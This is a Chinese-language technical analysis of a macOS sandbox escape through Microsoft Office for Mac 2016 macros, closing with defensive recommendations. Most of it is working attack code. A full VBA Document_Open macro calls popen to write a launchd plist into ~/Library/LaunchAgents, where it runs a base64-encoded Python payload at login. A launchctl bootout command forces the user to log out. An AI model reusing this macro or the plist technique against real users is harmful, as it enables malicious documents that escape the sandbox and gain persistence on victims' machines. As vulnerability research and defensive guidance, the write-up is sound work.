MacOS上Microsoft Office沙箱逃逸技术分析
概述
本文详细分析了一种在MacOS系统上通过Microsoft Office应用实现沙箱逃逸的技术。该技术利用Office应用的临时文件处理权限漏洞,通过创建特定格式的启动项文件,最终实现在用户重新登录时执行任意代码,从而绕过MacOS的沙箱限制。
技术背景
MacOS沙箱机制
MacOS沙箱(Sandbox)是一种安全机制,用于限制应用程序对系统资源的访问。每个应用程序运行在独立的"沙箱"中,只能访问明确授权的资源。Microsoft Office for Mac应用也运行在这种沙箱环境中。
Empire框架
Empire是一个功能强大的开源C2(Command and Control)框架,最初设计用于通过PowerShell控制Windows环境,后来通过Empyre项目扩展支持MacOS系统。它提供了多种payload类型,包括二进制payload、AppleScript和Office宏。
技术细节
Office宏的工作原理
在MacOS版的Microsoft Office中,VBA宏可以通过声明外部函数来调用系统库:
Private Declare PtrSafe Function system Lib "libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) As LongPtr
这个声明允许宏通过popen函数执行系统命令。值得注意的是,VBA代码是在Microsoft Word进程内执行的,因此受到与Word相同的沙箱限制。
沙箱权限分析
通过检查Microsoft Word应用的沙箱规则,发现了一个关键权限:
com.apple.security.temporary-exception.sbpl
(allow file-read* file-write*
(require-any
(require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$"))
)
)
这个规则允许Word进程读写符合特定正则表达式格式的文件(如~$document1.docx),这是Office用于临时文件的命名格式。然而,这个规则实际上允许在文件系统的任何位置创建匹配该模式的文件。
沙箱逃逸技术
利用上述权限漏洞,攻击者可以:
- 在
~/Library/LaunchAgents/目录下创建符合~$模式的文件 - 该文件是一个合法的launchd plist文件,定义了一个在用户登录时自动运行的任务
- 当用户注销并重新登录时,系统会自动执行该plist中定义的命令
具体实现步骤如下:
- 创建plist文件:构造一个合法的launchd plist文件,包含要执行的payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.xpnsec.escape</string>
<key>ProgramArguments</key>
<array>
<string>python</string>
<string>-c</string>
<string>import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('BASE64_PAYLOAD'));</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
-
写入目标目录:利用Office的临时文件权限,将该plist写入
~/Library/LaunchAgents/~$com.xpnsec.plist -
触发执行:可以等待用户自然注销登录,或强制注销:
launchctl bootout gui/$UID
完整VBA实现
Private Declare PtrSafe Function system Lib "libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) As LongPtr
Private Sub Document_Open()
Dim path As String
Dim payload As String
payload = "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('BASE64_PAYLOAD'));"
path = Environ("HOME") & "/../../../../Library/LaunchAgents/~$com.xpnsec.plist"
arg = "<?xml version=""1.0"" encoding=""UTF-8""?>\n" & _
"<!DOCTYPE plist PUBLIC ""-//Apple//DTD PLIST 1.0//EN"" ""http://www.apple.com/DTDs/PropertyList-1.0.dtd"">\n" & _
"<plist version=""1.0"">\n" & _
"<dict>\n" & _
"<key>Label</key>\n" & _
"<string>com.xpnsec.sandbox</string>\n" & _
"<key>ProgramArguments</key>\n" & _
"<array>\n" & _
"<string>python</string>\n" & _
"<string>-c</string>\n" & _
"<string>" & payload & "</string>" & _
"</array>\n" & _
"<key>RunAtLoad</key>\n" & _
"<true/>\n" & _
"</dict>\n" & _
"</plist>"
Result = system("echo """ & arg & """ > '" & path & "'", "r")
' 可选:强制用户注销
' Result = system("launchctl bootout gui/$UID", "r")
End Sub
影响范围
该技术适用于所有支持宏功能的Microsoft Office for Mac 2016应用程序,包括:
- Microsoft Word
- Microsoft Excel
- 其他具有相同权限的Office应用
防御建议
- 禁用Office宏:对于不需要宏功能的用户,完全禁用Office宏
- 更新Office应用:确保使用最新版本的Microsoft Office,微软可能已修复此权限问题
- 监控LaunchAgents目录:监控
~/Library/LaunchAgents/目录下异常文件的创建 - 限制Python执行:限制非特权用户执行Python脚本的能力
- 应用沙箱规则审查:定期审查应用程序的沙箱规则,确保没有过度宽松的权限
总结
这种沙箱逃逸技术利用了Microsoft Office在MacOS上的过度宽松的文件操作权限,通过创建特殊的启动项文件实现持久化和权限提升。它展示了即使是在沙箱环境中,不当的权限配置也可能导致严重的安全问题。防御此类攻击需要多层次的防护措施,包括最小权限原则、行为监控和及时更新。